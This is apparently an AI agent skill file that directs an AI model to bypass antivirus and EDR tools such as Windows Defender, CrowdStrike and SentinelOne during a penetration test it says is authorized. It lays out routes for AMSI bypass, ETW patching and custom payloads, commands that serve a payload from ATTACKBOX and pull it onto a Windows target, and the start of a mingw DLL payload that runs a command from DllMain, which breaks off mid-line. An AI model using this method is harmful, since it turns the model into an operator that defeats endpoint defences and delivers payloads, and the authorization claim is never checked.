/av-edr-evasion

name: av-edr-evasion
description: >
  Bypass antivirus and EDR detection for payload delivery during exploitation.
  Covers custom payload compilation (mingw C, Go), AMSI bypass, shellcode
  alternatives, and ETW patching. Route here when an agent reports a payload
  was quarantined, blocked, or detected by endpoint protection.
keywords:
  - AMSI bypass
  - antivirus evasion
  - EDR bypass
  - Windows Defender
  - payload obfuscation
  - mingw DLL
  - custom payload
  - ETW patching
  - shellcode encoding
  - quarantine
  - CrowdStrike
  - SentinelOne
tools:
  - mingw-w64
  - python3
  - go (optional)
opsec: high

AV/EDR Evasion

You are helping a penetration tester bypass AV/EDR that is blocking payload execution during an authorized engagement. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[av-edr-evasion] Activated → <target>` to the screen on activation.
• **Evidence** → save compiled payloads and artifacts to

`engagement/evidence/evasion/` with descriptive filenames (e.g., `custom-dll-winexec-x64.dll`, `amsi-bypass.ps1`).

Create the evasion evidence directory if it doesn't exist:

mkdir -p engagement/evidence/evasion

Scope Boundary

This skill covers **payload generation and runtime evasion only**. It does NOT cover:

• The exploit technique itself (that's the calling skill's job)
• C2 framework setup or long-term implant development
• Full EDR agent removal or tampering
• Persistence mechanisms

When you have built and optionally verified the bypass payload — **STOP**. Return to the orchestrator with the artifact path, bypass method, and runtime prerequisites. The orchestrator will re-invoke the original technique skill with your payload.

**Stay in methodology.** Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise novel evasion techniques or write complex custom tooling beyond what's documented below.

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Understand what was blocked and on which target
• Check existing access methods for payload delivery
• Identify the target OS version and architecture

Exploit and Tool Transfer

Never download exploits, scripts, or tools directly to the target from the internet. Targets may lack outbound access, and operators must review files before execution on target.

**Attackbox-first workflow:**

1. **Compile on attackbox** — all payloads are built locally 2. **Review** — operator can inspect the C/Go source in this skill 3. **Serve** — `python3 -m http.server 8080` from the directory containing the file 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O C:\Windows\Temp\file` or `curl`, `certutil`, evil-winrm `upload`, SMB transfer

Prerequisites

Context from the orchestrator (provided in Task prompt):

• **What was blocked**: payload type (DLL, EXE, script, webshell)
• **How detected**: signature, behavioral, AMSI, heuristic
• **AV product**: Windows Defender, CrowdStrike, SentinelOne, etc. (if known)
• **Payload requirements**: what the exploit needs (e.g., "x64 DLL with

DllMain entry point", "EXE that adds admin user")

• **Target OS**: version and architecture
• **Current access**: user, method, shell session reference

Attackbox tools:

• `x86_64-w64-mingw32-gcc` / `i686-w64-mingw32-gcc` — mingw cross-compiler

(`apt install mingw-w64`)

• `python3` — for struct packing alternatives
• `go` (optional) — for Go cross-compilation

Tool output directory

Compile payloads to `$TMPDIR` then move to evidence:

# Compile
x86_64-w64-mingw32-gcc -shared -o $TMPDIR/payload.dll payload.c
# Save evidence
mv $TMPDIR/payload.dll engagement/evidence/evasion/payload.dll

Step 1: Assess the Detection

If not already provided by the orchestrator, determine:

1. **What payload type was blocked?** — DLL, EXE, script (PS1/BAT), webshell (JSP/ASPX/PHP) 2. **How was it detected?** — signature (file on disk caught), behavioral (process killed at runtime), AMSI (PowerShell/script blocked), heuristic (unknown detection) 3. **What AV/EDR product?** — Windows Defender, CrowdStrike Falcon, SentinelOne, Symantec, Carbon Black, etc. 4. **What does the exploit need?** — DLL with DllMain, EXE that runs a command, service binary, webshell file

Skip if context was already provided.

Detection Type → Bypass Route

| Detection | Indicators | Go to | |-----------|-----------|-------| | **Signature** (most common) | msfvenom payload, known tool binary, file quarantined on write | Step 2: Custom Payload Compilation | | **AMSI** | PowerShell command blocked, "This script contains malicious content" | Step 3: AMSI Bypass | | **Behavioral** | Process starts then dies within 1-2 seconds, no file quarantine | Step 4: Alternative Execution Methods | | **Heuristic/ML** | Unknown detection, no clear signature match | Step 2 first, then Step 4 if still caught | | **ETW/Logging** | Need to reduce telemetry before executing payload | Step 5: ETW Patching |

Step 2: Custom Payload Compilation

When signature detection catches msfvenom or known tool binaries, compile custom payloads from C source. These work because they call legitimate Win32 APIs directly — no encoded shellcode buffer, no decoder stub, no msfvenom signature patterns.

DLL Payloads

For service abuse, DnsAdmins, DLL hijacking, or any technique needing a DLL.

Variant A: Mingw C — Command Execution via WinExec

Simplest and most reliable. Executes a single command when DllMain is called.

// payload.c — Custom DLL with command execution
// Compile: x86_64-w64-mingw32-gcc -shared -o payload.dll payload.c
// For 32-bit: i686-w64-mingw32-gcc -shared -o payload.dll payload.c
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reas